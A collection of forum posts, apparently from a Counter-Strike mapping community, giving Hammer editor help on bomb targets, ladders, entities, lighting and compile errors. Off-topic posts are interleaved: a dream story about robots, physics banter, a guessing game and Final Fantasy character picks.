"C:\Steam\Steam.exe" -applaunch 10 -dev +sv_cheats 1 +deathmatch 1 +map mapname


(This is the Steam-version of the batch-file, if you're using non-steam it's practically the same, you just +deathmatch 1 before +map mapname...)

Though I'm not sure if you'll spawn with the bomb then.


okay thank you.. typing that in there made me spawn as T and since your the only one then of course u get bomb automatically.. bomb site works fine..

more questions tho..
can you control explosion radius? or is that based on the server your map is loaded to? and bomb timer? and how much time b4 u can move? and what the explosion looks like?

and on a separate note.. how your map looks when you compile is exactly how it will look in all servers unless they have some special feature to change ur lighting right?
Danemj3 said:
uhhh sry to keep asking 3443534 questions but for a bomb map you use the AAA texture, invis, etc and do func_bomb_target? and does the bomb automatically spawn with a T? and where is says target(when bomb blows up) that means if i name something "example1" and type that where it says target when bomb blows up that object will blow up with it? and if i name 50 things the same name they all blow up with it?

also any way to spawn as a t and test it?

yes a func_bomb_target is the area where you can plant the bomb. Note that it doesn't need to touch the floor, it only needs to be reachable by a player. But it can as well touch the floor (touch, not be in it).
Yes, the bomb should spawn with a T automatically if there is a func_bomb_target entity somewhere. I think
The target of the func_bomb_target won't necessarily blow up, it will just be triggered. You can however trigger an env_explosion which will (surprisingly) cause an explosion.
I think that if you want to trigger several things you have to use a multi_manager. Or (as KD said - probably works if he said it) name all the entities you want to trigger with the same name.

To spawn as a T, you could just start a new game, uncheck the CPU players (if you have them) and try.
Or you can do this:
Killer-Duck said:
Edit the .bat-file and add "+deathmatch 1" before "+map mapname":

eg:

Quote:

@echo off
hlcsg -nowadtextures mapname
hlbsp mapname
hlvis mapname
hlrad mapname
copy mapname.bsp "C:\Steam\SteamApps\EMAIL\counter-strike\cstrike\maps"
pause
"C:\Steam\Steam.exe" -applaunch 10 -dev +sv_cheats 1 +deathmatch 1 +map mapname


(This is the Steam-version of the batch-file, if you're using non-steam it's practically the same, you just +deathmatch 1 before +map mapname...)

Though I'm not sure if you'll spawn with the bomb then.
User
uhhh sry to keep asking 3443534 questions but for a bomb map you use the AAA texture, invis, etc and do func_bomb_target? and does the bomb automatically spawn with a T? and where is says target(when bomb blows up) that means if i name something "example1" and type that where it says target when bomb blows up that object will blow up with it? and if i name 50 things the same name they all blow up with it?

also any way to spawn as a t and test it?
Mate de Vita said:
could someone please explain to me exactly what the following entity properties do since almost every entity I've used so far has them:
Render FX
Render Mode
FX Amount
FX Color

Which ones do I need to change to make the blue parts of the { textures transparent/invisible/seethroughable(yes, that's a word)/whatever else you wanna call it?


Render FX - No fucking idea. Why not mess around with them and see? I've never used them.

Render mode - To create a vent you can see through, use SOLID

FX Amount - Sets the transparency of object, MINUS the part that is see through. This will be see through anyway. 255 = a vent that looks normal. 0 = a vent thats 100% invisible.

FX Color - No clue. Experiment. Maybe it gives it a different shade of a certain color.

-Brandon
First of all... I have never made a ladder with three parts, and I have never had trouble being able to walk through them. So there's that.

The other thing is if you're given that message about it already being tied to an entity... I just delete it and make a new one. This is because you run the risk of ruining it, and I don't mess with that. Like Killer Duck said, after you've selected an object and hit "Control-T" and have tied it to an entity, the only safe way to mess with it after that is to select it and hit "Alt-Enter." When in doubt, ALWAYS do "Alt-Enter" so as not to run the risk of messing it up!

So yeah.

Basically, do this: Select the any brush you want.
Make a ladder-ish shaped thing.
Select it. Make sure it's highlighted.
Hit "Control-T".
Select "func_ladder."
Close the box.
Save it, export it, compile it, play it.
If you can't climb it, then maybe you need to hire someone to help.

:-)

-Brandon
User
I am on this page.. and have been for the last hour..
http://www.superjer.com/learn/func_ladder.php

and still cant get a ladder to work.. all i need to do it do it once and i be fine but somehow i can do everything else but that.. i have tried at least 20 times.. and still have no luck.. i tried just the climb part without the rest just to see if i could do that.. failed.. when i right click a brush and say tie to entity it gives me the message "you have selected an existing entry (a 'button_target'.) Would you like to selected solids to the existing entity? If you select 'no' an entity will be created." so i click no and then window pops up that titled "object properties" i click tab scroll down button under class and go to func_ladder.. however if i right click it again it gives me the same message and then its back at blank.. not on ladder.. or if i just leave it and then export + load map to test it, then it doesnt work..

hopefully you followed half that and can help me..
User
I've been mapping for about a year. Mostly on and off. Well I've found that with my videocard if I have my drivers updated to the most recent firmware then Hammer won't let me select individual sides of an object to texture them. Is there anyway to fix this? I have an ATI Radeon x850+ graphics card. I could always make objects and just have them be extremely skinny but that would be annnoying when I could use one block to cover multiple textures on each side.

Thanks
Truck
User
Ye... Newbie told me that also, a little more advanced tool... well not advanced, but its easeir to use the rotate tool and flip object tool if it comes to me , but thanks for replies.
Go back to the main-window of Hammer, select the Selection tool(shift+S) then to the right you got two dop-down menu's, under "Categories:" you can choose the prefab category, and under "Objects:" the object you want to insert, then just press the "Insert original prefab"-button.
User
I have found a prefab factory, but don't know how to use it(it contains all of the stuff I need)

Also I saw a tutorial on youtube and he said that i should write in prob_static, but where, I can't write in object

I'm getting a little annoyed
User
A single word i forgot to change, I feel a little ashamed right now

But one last question:

many people says you should write prob_static in object to insert props or something like that, but I can't write that.

Where can I find my props so I can make map with tables, vending machines and chairs? (Don't mean to hassle, but I just want to know all at once)

User
Well, thank you, it worked!

Yet there is another problem: I brought up the Object Properties window and I clicked on "Model / Sprite", then I selsected my model and I closed the Properties window.
But the model doesn't show up! After I close the window the model doesn't appear! It remains as a purple box.

Why is that? Does anyone know how to fix this?
User
The bomb site:
1. Make a func_bomb_target entity.
2. [In its properties] Set Target to 'richardbona'

The breakable object:
1. Make a func_breakable entity.
2. [In its properties] Set its name to 'richardbona'
3. [In its properties --> Flags] Check 'trigger only'

That's it!
User
aaronjer said:
I just woke up from a dream about robots. Here's my attempt to write it down. Apparently, there were robots that had infiltrated society* by posing as real people. Some of them were in important or famous positions and some of them just acted like common folk. They were deemed a threat by whoever was giving me my orders. My superiors claimed that even in small groups they would be able to seize control of all the vital systems of the city... and do stuff.

*About 50,000 people living in a classic Sci-Fi dome structure on an inhospitable planet. Everything was designed to look like some kind of pristine and advanced overly culturally enriched East Indian city. Lots of the domes and minarets and crap. None of the people were East Indian that I saw, they were mostly Caucasian with a few Chinese thrown in here and there.

At first I thought I was some kind of Super-Soldier or Superhero or something, because I could jump several stories high and lift small cars and such... but as per usual it later turned out that I was some kind of vampiric thing. Why am I always some kind of vampiric thing in dreams?! I don't find vampires particularly fascinating while I'm awake! WTF! Anyway, I'll get into that more later.

The first secret robot I was sent after was posing as a famous race car driver. The race would go through the entire city, and he would only show up right as the race started, and disappear somehow after he crossed the finish line (always first) along with his car. This meant that if I was going to destroy him, I'd have to catch him in a race. The vehicles were heavily armored variations of Japanese sports cars, as was mine, because I decided to join the race to catch him instead of just laying a trap (which would have been a far simpler plan...). After speeding through the city for a couple minutes, we'd already pulled far ahead of the rest of the racers. I managed to pull up along side him and ram both of our vehicles over a turn on a bridge and permanently out of the race. I was wearing a white jumpsuit with completely covering accessories. Black gloves, boots, and a nearly fishbowlesque helmet completely protected me from the bad, bad sun. I also had blades fixed to my arms that projected parallel to my hands as 2-foot long swords.

Both the robot and I burst out of our wrecks with ease, he immediately recognized my mission and sprouted blades similar to mine. He was also wearing a similar outfit, but it had red shoulders and the helmet was open. We were a match in strength and speed. We started off without about 20 seconds of stabbing, slashing, and parrying. Neither of us landed a blow. He then jumped back and slammed his blades onto the ground, they started vibrating with a low hum, and electricity visible coursed along them. I leaped in with an overhead swing with my right arm and a block with my left, and was met with an explosive shock that sent my flying back where I came from. Parries from him now meant ouchies for me. Great. The electricity and vibrated stopped after he had shocked me once, but he slammed them on the ground again for the same effect. He just stared at me and grinned, not moving from his guarding position. I was the one that had to kill him... it's not like I could expect him to attack when he didn't have to. So... I tore a 5 foot tall metal lamp post out of the ground, and used it like a bat to hit a stone bench at him. He jumped out of the way with relative ease. The second time I hit another bench at him, but purposefully aimed way too high and off the mark anyway. He didn't move and just looked confused. I hit a third and final object, this time a drinking fountain, directly at him. He dodged out of the way... and right into a collision course with the still falling second bench. I just assumed he would dodge the exact same distance as the first time. Stupid robots and their precise evasive maneuvers. He was unable to parry in time before I could dash in and cross-cut him into four pieces. He was in fact wires and such on the inside.

The next robot came to me. Immediately. From behind, without me noticing. She apparently wasn't strong enough to kill me directly, so she tore off my helmet... leaving me to fry in the sun. Luckily for me I was wearing a balaclava under the helmet, although I had to spend some of my time looking down to keep direct sun from vaporizing my eyes. I only got a quick glimpse of her, but she was dressed like Disney's Snow White for no explainable reason. She could run very quickly, fast enough to keep away from me if I just ran after her... and I wanted my helmet back and her shooting sparks and twitching. We were right next to a large and very square artificial lake, and she began to run around it. A blast door for a tunnel on the other side of the lake was slowly closing, and she appeared to be heading for it. I'd never make it through running... so I tore off my arm blades, and while leaping as far forward into the lake as possible stuck them onto my feet as water skis. The lake actually had a current going in my direction, and somehow I would push off the water on small waves for more velocity and 10-foot or so jump. It would have been extremely fun if I wasn't so anxious about reaching my destination in time. She got there before me anyway, and I got there just fast enough to dive forward and slide under the door, breaking the blades off my feet on the outside of the door. The tunnel was crammed full of industrial equipment and large heavy metal objects like dumpsters. She could fit between them quickly and easily... I could not. At the other end of the tunnel, probably 100 yards away, was another slowly closing blast door. I really didn't want to get stuck in here... I quickly realized that one of the large industrial objects directly in front of me was an enormous rocket engine. I ripped off a panel and started frantically hitting buttons and switches. It beeped a lot, made a low grinding noise, and blasted the majority of the contents of the tunnel out the other end, while blasting itself through the first blast door. The tunnel was permanently open on both ends, and the robot had been crushed up against a wall by a dumpster. She was definitely shooting sparks and twitching, and my helmet was safe! Yay!

I immediately went across the street to grocery store, where I knew another robot was located. The grocery store had no one in it other than the robot, because this robot was clearly malfunctioning and scaring the crap out of people. It looked like a small old lady in a jogging suit, and she was sitting cross-legged inside a shopping cart. The cart was slowly rolling down aisles, seemingly unpowered, with her somehow directing it to go around corners. Yeah, weird. While she was rolling past the canned fruit I blocked her way at the end of the aisle. Without any expression she picked up a can of peaches and hurled it at me at about mach 4. Luckily she missed, because I didn't see that coming at all, and it put a sizable hole in the concrete wall behind me. While she was selecting a second nutritious projectile, I dashed forward and knocked her cart over, she fell face first onto the ground, and the cart lay on top of her. I stomped on her head as hard and as fast as I could about 20 times... but all I managed to do was scrape off the skin around her head. Underneath was a solid metal head with 8 tiny red eyes placed like spider eyes. It had no other features. The robot lifted itself off the ground, throwing me off in the process, and just sort of slid or possibly floated back up into the grocery cart, which had stood back up on it's own somehow. It then sprouted four obviously mechanical arms from it's sides. With six arms it picked up various cans, and put me into a world of trouble. Five missed, the other one clipped the side of my knee, and probably fractured a bone or two. I got around the end of aisle before a second volley could be fired. The robot resumed it's process of slowly rolling down aisles and going around corners... at least now I could see it over the aisles, because the extra four arms were all sticking up and waving around like Medusa's hair or something.

I limped my way over to the deli, and went back into the employee section. Due the restraints of living in a Sci-Fi dome city, the slaughterhouse was part of the grocery store. I found a live cow in the back, which I bit on the side of the neck. After a few seconds of confused mooing, it started curling up and drying on the edges. After a few more seconds it was nothing but a surreal cow statue of ash like substance, which tipped over and fell apart into no more than 4-5 pounds of dust. This process healed me completely. I had actually been getting considerably weaker and slower up until this point, especially while my helmet was off. I went back into the grocery store for round two at full strength.

My first plan was to get it out of the damned shopping cart, just because it was pissing my off. I went to the aisle next to it, and pushed the whole cereal section over onto it. The robot skittered low out from under the shelves like a spider... which looked very odd given that the arms, legs and torso still looked human. It's cart was mangled, so it stood up on it's human legs and slowly shuffled forward down the aisles... ignoring me completely when I wasn't in sight of it. I waited until it was in the bread aisle for my attack. I had a very large box of gobstoppers and a kitchen knife from the deli for weapons. I confronted the robot in the aisle, and it predictably began throwing foodstuffs at me. The bread, even at Mach 4, did not make an effective weapon. I tore open the gobstoppers and rolled them down the aisle. The shuffling robot immediately slipped on them and fell on it's back. It attempted to right itself, but continued to slip on gobstoppers... it did not have very good balance. I jumped from one end of the aisle into the middle of it and directly on top of the incredibly disturbing looking spider-old-woman--robot thing. I started pulling and hacking away at the joints where it's limbs were attached to it's body, since the head seemed undamagable. The limbs came off surprisingly easily, including the human looking ones, as they were really just the same thing with fake meat wrapped around them. With little resistance, I turned the robot into a squirming torso with a head. I then brought it outside, carried it about a block, and then dumped it into the lake. A few seconds later I heard a muffled explosion and the water rose a couple feet.

I don't remember what happened after that, or I woke up. I dunno which.




wow... that um... that was quite a mouthful.
User
I just woke up from a dream about robots. Here's my attempt to write it down. Apparently, there were robots that had infiltrated society* by posing as real people. Some of them were in important or famous positions and some of them just acted like common folk. They were deemed a threat by whoever was giving me my orders. My superiors claimed that even in small groups they would be able to seize control of all the vital systems of the city... and do stuff.

*About 50,000 people living in a classic Sci-Fi dome structure on an inhospitable planet. Everything was designed to look like some kind of pristine and advanced overly culturally enriched East Indian city. Lots of the domes and minarets and crap. None of the people were East Indian that I saw, they were mostly Caucasian with a few Chinese thrown in here and there.

At first I thought I was some kind of Super-Soldier or Superhero or something, because I could jump several stories high and lift small cars and such... but as per usual it later turned out that I was some kind of vampiric thing. Why am I always some kind of vampiric thing in dreams?! I don't find vampires particularly fascinating while I'm awake! WTF! Anyway, I'll get into that more later.

The first secret robot I was sent after was posing as a famous race car driver. The race would go through the entire city, and he would only show up right as the race started, and disappear somehow after he crossed the finish line (always first) along with his car. This meant that if I was going to destroy him, I'd have to catch him in a race. The vehicles were heavily armored variations of Japanese sports cars, as was mine, because I decided to join the race to catch him instead of just laying a trap (which would have been a far simpler plan...). After speeding through the city for a couple minutes, we'd already pulled far ahead of the rest of the racers. I managed to pull up along side him and ram both of our vehicles over a turn on a bridge and permanently out of the race. I was wearing a white jumpsuit with completely covering accessories. Black gloves, boots, and a nearly fishbowlesque helmet completely protected me from the bad, bad sun. I also had blades fixed to my arms that projected parallel to my hands as 2-foot long swords.

Both the robot and I burst out of our wrecks with ease, he immediately recognized my mission and sprouted blades similar to mine. He was also wearing a similar outfit, but it had red shoulders and the helmet was open. We were a match in strength and speed. We started off without about 20 seconds of stabbing, slashing, and parrying. Neither of us landed a blow. He then jumped back and slammed his blades onto the ground, they started vibrating with a low hum, and electricity visible coursed along them. I leaped in with an overhead swing with my right arm and a block with my left, and was met with an explosive shock that sent my flying back where I came from. Parries from him now meant ouchies for me. Great. The electricity and vibrated stopped after he had shocked me once, but he slammed them on the ground again for the same effect. He just stared at me and grinned, not moving from his guarding position. I was the one that had to kill him... it's not like I could expect him to attack when he didn't have to. So... I tore a 5 foot tall metal lamp post out of the ground, and used it like a bat to hit a stone bench at him. He jumped out of the way with relative ease. The second time I hit another bench at him, but purposefully aimed way too high and off the mark anyway. He didn't move and just looked confused. I hit a third and final object, this time a drinking fountain, directly at him. He dodged out of the way... and right into a collision course with the still falling second bench. I just assumed he would dodge the exact same distance as the first time. Stupid robots and their precise evasive maneuvers. He was unable to parry in time before I could dash in and cross-cut him into four pieces. He was in fact wires and such on the inside.

The next robot came to me. Immediately. From behind, without me noticing. She apparently wasn't strong enough to kill me directly, so she tore off my helmet... leaving me to fry in the sun. Luckily for me I was wearing a balaclava under the helmet, although I had to spend some of my time looking down to keep direct sun from vaporizing my eyes. I only got a quick glimpse of her, but she was dressed like Disney's Snow White for no explainable reason. She could run very quickly, fast enough to keep away from me if I just ran after her... and I wanted my helmet back and her shooting sparks and twitching. We were right next to a large and very square artificial lake, and she began to run around it. A blast door for a tunnel on the other side of the lake was slowly closing, and she appeared to be heading for it. I'd never make it through running... so I tore off my arm blades, and while leaping as far forward into the lake as possible stuck them onto my feet as water skis. The lake actually had a current going in my direction, and somehow I would push off the water on small waves for more velocity and 10-foot or so jump. It would have been extremely fun if I wasn't so anxious about reaching my destination in time. She got there before me anyway, and I got there just fast enough to dive forward and slide under the door, breaking the blades off my feet on the outside of the door. The tunnel was crammed full of industrial equipment and large heavy metal objects like dumpsters. She could fit between them quickly and easily... I could not. At the other end of the tunnel, probably 100 yards away, was another slowly closing blast door. I really didn't want to get stuck in here... I quickly realized that one of the large industrial objects directly in front of me was an enormous rocket engine. I ripped off a panel and started frantically hitting buttons and switches. It beeped a lot, made a low grinding noise, and blasted the majority of the contents of the tunnel out the other end, while blasting itself through the first blast door. The tunnel was permanently open on both ends, and the robot had been crushed up against a wall by a dumpster. She was definitely shooting sparks and twitching, and my helmet was safe! Yay!

I immediately went across the street to grocery store, where I knew another robot was located. The grocery store had no one in it other than the robot, because this robot was clearly malfunctioning and scaring the crap out of people. It looked like a small old lady in a jogging suit, and she was sitting cross-legged inside a shopping cart. The cart was slowly rolling down aisles, seemingly unpowered, with her somehow directing it to go around corners. Yeah, weird. While she was rolling past the canned fruit I blocked her way at the end of the aisle. Without any expression she picked up a can of peaches and hurled it at me at about mach 4. Luckily she missed, because I didn't see that coming at all, and it put a sizable hole in the concrete wall behind me. While she was selecting a second nutritious projectile, I dashed forward and knocked her cart over, she fell face first onto the ground, and the cart lay on top of her. I stomped on her head as hard and as fast as I could about 20 times... but all I managed to do was scrape off the skin around her head. Underneath was a solid metal head with 8 tiny red eyes placed like spider eyes. It had no other features. The robot lifted itself off the ground, throwing me off in the process, and just sort of slid or possibly floated back up into the grocery cart, which had stood back up on it's own somehow. It then sprouted four obviously mechanical arms from it's sides. With six arms it picked up various cans, and put me into a world of trouble. Five missed, the other one clipped the side of my knee, and probably fractured a bone or two. I got around the end of aisle before a second volley could be fired. The robot resumed it's process of slowly rolling down aisles and going around corners... at least now I could see it over the aisles, because the extra four arms were all sticking up and waving around like Medusa's hair or something.

I limped my way over to the deli, and went back into the employee section. Due the restraints of living in a Sci-Fi dome city, the slaughterhouse was part of the grocery store. I found a live cow in the back, which I bit on the side of the neck. After a few seconds of confused mooing, it started curling up and drying on the edges. After a few more seconds it was nothing but a surreal cow statue of ash like substance, which tipped over and fell apart into no more than 4-5 pounds of dust. This process healed me completely. I had actually been getting considerably weaker and slower up until this point, especially while my helmet was off. I went back into the grocery store for round two at full strength.

My first plan was to get it out of the damned shopping cart, just because it was pissing my off. I went to the aisle next to it, and pushed the whole cereal section over onto it. The robot skittered low out from under the shelves like a spider... which looked very odd given that the arms, legs and torso still looked human. It's cart was mangled, so it stood up on it's human legs and slowly shuffled forward down the aisles... ignoring me completely when I wasn't in sight of it. I waited until it was in the bread aisle for my attack. I had a very large box of gobstoppers and a kitchen knife from the deli for weapons. I confronted the robot in the aisle, and it predictably began throwing foodstuffs at me. The bread, even at Mach 4, did not make an effective weapon. I tore open the gobstoppers and rolled them down the aisle. The shuffling robot immediately slipped on them and fell on it's back. It attempted to right itself, but continued to slip on gobstoppers... it did not have very good balance. I jumped from one end of the aisle into the middle of it and directly on top of the incredibly disturbing looking spider-old-woman--robot thing. I started pulling and hacking away at the joints where it's limbs were attached to it's body, since the head seemed undamagable. The limbs came off surprisingly easily, including the human looking ones, as they were really just the same thing with fake meat wrapped around them. With little resistance, I turned the robot into a squirming torso with a head. I then brought it outside, carried it about a block, and then dumped it into the lake. A few seconds later I heard a muffled explosion and the water rose a couple feet.

I don't remember what happened after that, or I woke up. I dunno which.

User
Down Rodeo said:
He can create infinities that are of equal cardinality, so the acceleration produced by his infinite force lifting an infinitely heavy object is undefined.


What?
User
He can create infinities that are of equal cardinality, so the acceleration produced by his infinite force lifting an infinitely heavy object is undefined.
User
Can he create an object that's too heavy for him to lift?
User
Yes.
If FX amount is 0, the object will be invisible.
If FX amount is 255, the object will not let any light through.
hmm... Now I have a big problem. I make a brush an entity (CTRL+T) and then if I select another object, it just becomes a normal brush again.

EDIT: aha, found the problem. Apparently the CTRL+W is also the combination for toggle group ignore and instead of moving the selected object to world it just toggled group ignore on.
User
zephyr said:
um im not sure, but i use the clipping tool to cut things. click the object first with the selection tool, then click the clipping tool(shift+x). then draw a line from one side of your block to another. When youre done press enter.

I think there might be other ways... but this is how i do


That was extremely helpful, I want to kiss you.
User
um im not sure, but i use the clipping tool to cut things. click the object first with the selection tool, then click the clipping tool(shift+x). then draw a line from one side of your block to another. When youre done press enter.

I think there might be other ways... but this is how i do
User
im trying to fix it it fixed every error unless no player_start it said i need to make one but there is nothing in the entity tool like i click entity tool i chose entities in category thing and when try to chose an object there is nothing inside
well all you have to is make a block. make it so it isn't very thick then press shift+a then click on the side you want the message or wht ever on and then find the texture you want and click apply. then if it isn't facing the right way just rotate it until it is

ps if you want to make a sign like a stop sign you have to use a differrent type of object, but if it's a bill board then i just explained that.
User
The extent to which you are wrong is laughable. Mass is a measure of an object's opposition to movement (basically but we won't go into the coincidence that gravitational inertia and normal inertia are the same thing). Weight is a force, a measure of how much the Earth (or any other body) pulls you toward it. Even the maths bears it out: the unit of mass is the kilogram (funny that, interestingly it is the only SI unit which still... never mind actually) and the unit of force (which a weight is) which is Newtons, equal to kilograms meters per second squared. Look it up if you don't believe me.

This is why you are weightless in space yet still have mass. The reason that weight and mass are used interchangeably on Earth is that the gravitational acceleration of the Earth was found to be very close to 10. In fact it was so close that they called it 10 but really it is more like 9.81 meters per second squared.
User
1)you click the tool
2) you move it to the top view
3) you click & HOLD
4) then you drag a box
5) when your done you let go of the mouse button
6) while having the mouse pointer on the object you hit ENTER

there's no frikin way you can get it wrong now
User
is the object part of a game in which there is a goal post?
User
is the object part of a game which the ball is hit by the object?
User
is the object a part of a game that contains a ball that is thrown?
User
ok ill rephrase my question

is the object a part of a sport that contains a ball?
User
we are asking questions about the object not the sport.
User
Oh, em, gee. Rafa and Malak are the best charactersexclamationpointoneone. I haven't played anything after nine so, durrrrr....

Mens:

Kefka - "Son of submariner, they'll pay for this!"

Ultros - The things that aaronjer mentioned already and also the fact that in the second to last battle with him, he realizes he's an octopus after all (and also how he reassures you that the final battle is, in fact, final)

Sabin - Has a few decent lines and punches things 'til they dead.

FF7Cid - Yeah, badass, pilot, has a spear that can equip a LOT of materia early on, rides rockets. Good enough.

Olan - Step one: Read book. Step two: Destroy all time. Repeat. (otherwise, yeah, T.G. Cid is pretty fucking ridiculous)



Womens:

Rydia - Gets quite a lot of development in the first FF game that really had that. Goes from little girl who summons Chocobos to young woman who lives with monsters in the center of the earth and can summon Bahamut and cast Meteo.

Tifa - Not a character I use a whole lot, but I like her role in the story and how even if she isn't the object of Cloud's affection, she still manages to help him and the story along and remains devoted in her own way.

Yuffie - Girl ninja. That's it.

Terra - Sort of the main character for a while and does the whole existential "who am I?" thing without dressing in leather and being a total bitch about it. (half kidding)

Last one - Nnnhh... Dagger maybe? Probably not though. Or Celes. Both stuck it to a whole empire which in its own way is pretty rad. Dagger can summon monsters though and Celes' special ability kind of blows for all but a few battles.


Most of the female characters don't seem like anything special in one through nine. Rosa does the stand-by-your-man thing, in FFV you have dragon-riding princess number one, dragon-riding princess number two, and cross dressing pirate, FF6 gets off in the right direction and 7 is okay, there are parts of FFT that would be fucking hard without Agrias, but as a character she's nothing special, and 8 I've blocked mostly out of my memory. I guess Rinoa's okay.

Also, the indeterminate gender thing, Mr. Chupon?

I feel like I should put Mog in there because he does dance at things until they die. And Gogo is pretty overpowered for that game, indeterminate gender be damned.

After this, aaronjer and I will discuss our five favorite Shining Force characters which will consist of Master Monks two through four, Slade, and Bowie, and then you will stare at us mouths agape like noobs and then aaronjer will talk about Ogre Battle and I will be the noob.
Truck
User
When I follow the new users guide I get to this point

Quote:
In the listbox titled Objects, or where it says 'ambient_generic' in the picture, choose 'info_player_start'. info_player_start is the CT start point entity. An entity is an object you can place in your map that has some special meaning to the game. Wherever you place info_player_start's is where each CT will start at the beginning of a round of Counter-Strike.


However in my listbox titled Objects I have an empty list and when I click the dropdown I only get a big empty page.

I cannot proceed, and I do need help!

I have added

halflife-cs.fgd

and it is still not even showing up
Truck
User
in the func_button's properties got to " flags " section i think there is a checkbox there "don't move" or something ( don't have hammer )
and if your button doesn't turn on the light be sure:
1 you named the light
2 in the buttons properties make sure the the lights name is in the "target" area
3 the light isn't touching a slid object cause it won't work then
User
entities are the things that do something ( move , emit light ...)

there are 2 kinds of entities "point" and "brush-based'
point entities do their job in a single point ( lights ,weapons on the ground ..)

brush entities do their job in an area of a brush (a brush is an object , a 3d shape , whatever is solid and just sits there )
brush entities are made from making a brush and transforming it into an entity (Ctrl + T)
they are the entities with the "FunC_" in front
Truck
User
whenever i push alt + enter on a selected wall, object it doesnt give me the options like it used to. the option to create func_ladder etc.
User
superjers ladder has the extra ting that players can't pass trough it but you can shoot and trow grenades trough it nothing else .

also you just need the textures to make the ladder download zhlt.wad from here and add it in your "hammer - tools - option - textures"

what you need for a simple ladder is 1) a climby part and 2) a solid part

1 : make a thin brush (object rectangle whatever you call it)
apply the AAAtrigger texture on it (from zhtl.wad)
press Ctrl + T and select func_ladder from the list
this is invisible
2: solid / visible part
make another brush, put a ladder texture on it,
put it exactly behind the Climby part ( so they are touching )
make it as thin as your ladder would be in real life

now for superjers ladder (the best one)
1 make the climby part just like before with aaatigger texture

2 make a brush and apply a ladder texture , now press ctrl + T and select "Func_illusionary" this will make it non-solid but visible

3 make one last brush and put the "Clip" texture on it ( also from zhlt.wad ) place this one behind the visible part

any brush that has "clip" texture on it is:
invisible
stops players like a normal wall
lest you shoot/ trow grenades trough it like it was air

thats about it ( this is a really long detailed explanation )
User
When i try to put lights from the objects list, instead of a purple square thing the instructions described, a light bulb is appears, when i press ALT+Enter the properties come up but, when i am content with the color and i don't mess with the brightness i close the object properties and compile the map and play, but still no lights??? LOL I need help!
User
Ok its like this.
I made a surf map whitch is seperated in two parts by the void.
The first part works perfectly ..
But when I try to teleport to the other part of the map my game crashes ...
BUT THERE ARE NO LEAKS!
I made another box around the other part of the map just to be sure.
But it crashes ... !! :S
I would realy need help !
Please

PS: I do get the WARNING: Cluster portals saw into cluster error ...
Anyway to fix that? (or is that the cause of my game crashing) ?

Here's my compile log:

models 31/1024 1488/49152 ( 3.0%)
brushes 309/8192 3708/98304 ( 3.8%)
brushsides 2267/65536 18136/524288 ( 3.5%)
planes 2576/65536 51520/1310720 ( 3.9%)
vertexes 4211/65536 50532/786432 ( 6.4%)
nodes 1208/65536 38656/2097152 ( 1.8%)
texinfos 212/12288 15264/884736 ( 1.7%)
texdata 38/2048 1216/65536 ( 1.9%)
dispinfos 0/0 0/0 ( 0.0%)
disp_verts 0/0 0/0 ( 0.0%)
disp_tris 0/0 0/0 ( 0.0%)
disp_lmsamples 0/0 0/0 ( 0.0%)
faces 2104/65536 117824/3670016 ( 3.2%)
hdr faces 0/65536 0/3670016 ( 0.0%)
origfaces 1249/65536 69944/3670016 ( 1.9%)
leaves 1240/65536 39680/2097152 ( 1.9%)
leaffaces 3382/65536 6764/131072 ( 5.2%)
leafbrushes 1237/65536 2474/131072 ( 1.9%)
areas 4/256 32/2048 ( 1.6%)
surfedges 15288/512000 61152/2048000 ( 3.0%)
edges 8845/256000 35380/1024000 ( 3.5%)
LDR worldlights 8/8192 704/720896 ( 0.1%)
HDR worldlights 0/8192 0/720896 ( 0.0%)
waterstrips 269/32768 2690/327680 ( 0.8%)
waterverts 0/65536 0/786432 ( 0.0%)
waterindices 4605/65536 9210/131072 ( 7.0%)
cubemapsamples 0/1024 0/16384 ( 0.0%)
overlays 37/512 13024/180224 ( 7.2%)
LDR lightdata [variable] 614924/0 ( 0.0%)
HDR lightdata [variable] 0/0 ( 0.0%)
visdata [variable] 51413/16777216 ( 0.3%)
entdata [variable] 17891/393216 ( 4.5%)
LDR leaf ambient 1240/65536 29760/1572864 ( 1.9%)
HDR leaf ambient 0/65536 0/1572864 ( 0.0%)
occluders 0/0 0/0 ( 0.0%)
occluder polygons 0/0 0/0 ( 0.0%)
occluder vert ind 0/0 0/0 ( 0.0%)
detail props [variable] 1/12 ( 8.3%)
static props [variable] 1/12 ( 8.3%)
pakfile [variable] 22820/0 ( 0.0%)

Level flags = 0

Win32 Specific Data:
physics [variable] 123666/4194304 ( 2.9%)
==== Total Win32 BSP file data space used: 1399874 bytes ====

Total triangle count: 6133
Writing c:\documents and settings\alfred\desktop\surf_concrete.bsp
1 minute, 6 seconds elapsed



materialPath: c:\program files\steam\steamapps\teh_ice\counter-strike source\cstrike\materials
Loading C:\Documents and Settings\Alfred\Desktop\surf_concrete.vmf
fixing up env_cubemap materials on brush sides...
0...1...2...3...4...5...6...7...8...9...100...1...2...3...4...5...6...7...8...9...10Processing areas...done (0)
Building Faces...done (0)
Chop Details...done (0)
Find Visible Detail Sides...
Merged 318 detail faces...done (0)
Merging details...done (0)
FixTjuncs...
PruneNodes...
WriteBSP...
done (0)
writing C:\Documents and Settings\Alfred\Desktop\surf_concrete.prt...done (1)
Creating default cubemaps for env_cubemap using skybox materials:
skybox/sky_day01_01*.vmt
Run buildcubemaps in the engine to get the correct cube maps.

No such variable "$hdrbasetexture" for material "skybox/sky_day01_01rt"
Can't load skybox file skybox/sky_day01_01 to build the default cubemap!
Finding displacement neighbors...
Finding lightmap sample positions...
Displacement Alpha : 0...1...2...3...4...5...6...7...8...9...10
Building Physics collision data...
done (0) (125478 bytes)
Placing detail props : 0...1...2...3...4...5...6...7...8...9...10
Water found with no water_lod_control entity, creating a default one.
Compacting texture/material tables...
Reduced 250 texinfos to 213
Reduced 48 texdatas to 39 (1373 bytes to 920)
Writing C:\Documents and Settings\Alfred\Desktop\surf_concrete.bsp
2 seconds elapsed



1 threads
reading c:\documents and settings\alfred\desktop\surf_concrete.bsp
reading c:\documents and settings\alfred\desktop\surf_concrete.prt
546 portalclusters
1830 numportals
0...1...2...3...4...5...6...7...8...9...10WARNING: Cluster portals saw into cluster
Optimized: 2151 visible clusters (0.00%)
Total clusters visible: 141904
Average clusters visible: 259
Building PAS...
Average clusters audible: 281
visdatasize:51195 compressed from 78624
writing c:\documents and settings\alfred\desktop\surf_concrete.bsp
1 second elapsed



[Reading texlights from 'lights.rad']
[1 texlights parsed from 'lights.rad']

Loading c:\documents and settings\alfred\desktop\surf_concrete.bsp
2102 faces
2 degenerate faces
633061 square feet [91160912.00 square inches]
0 displacements
0 square feet [0.00 square inches]
2100 patches before subdivision
23316 patches after subdivision
8 direct lights
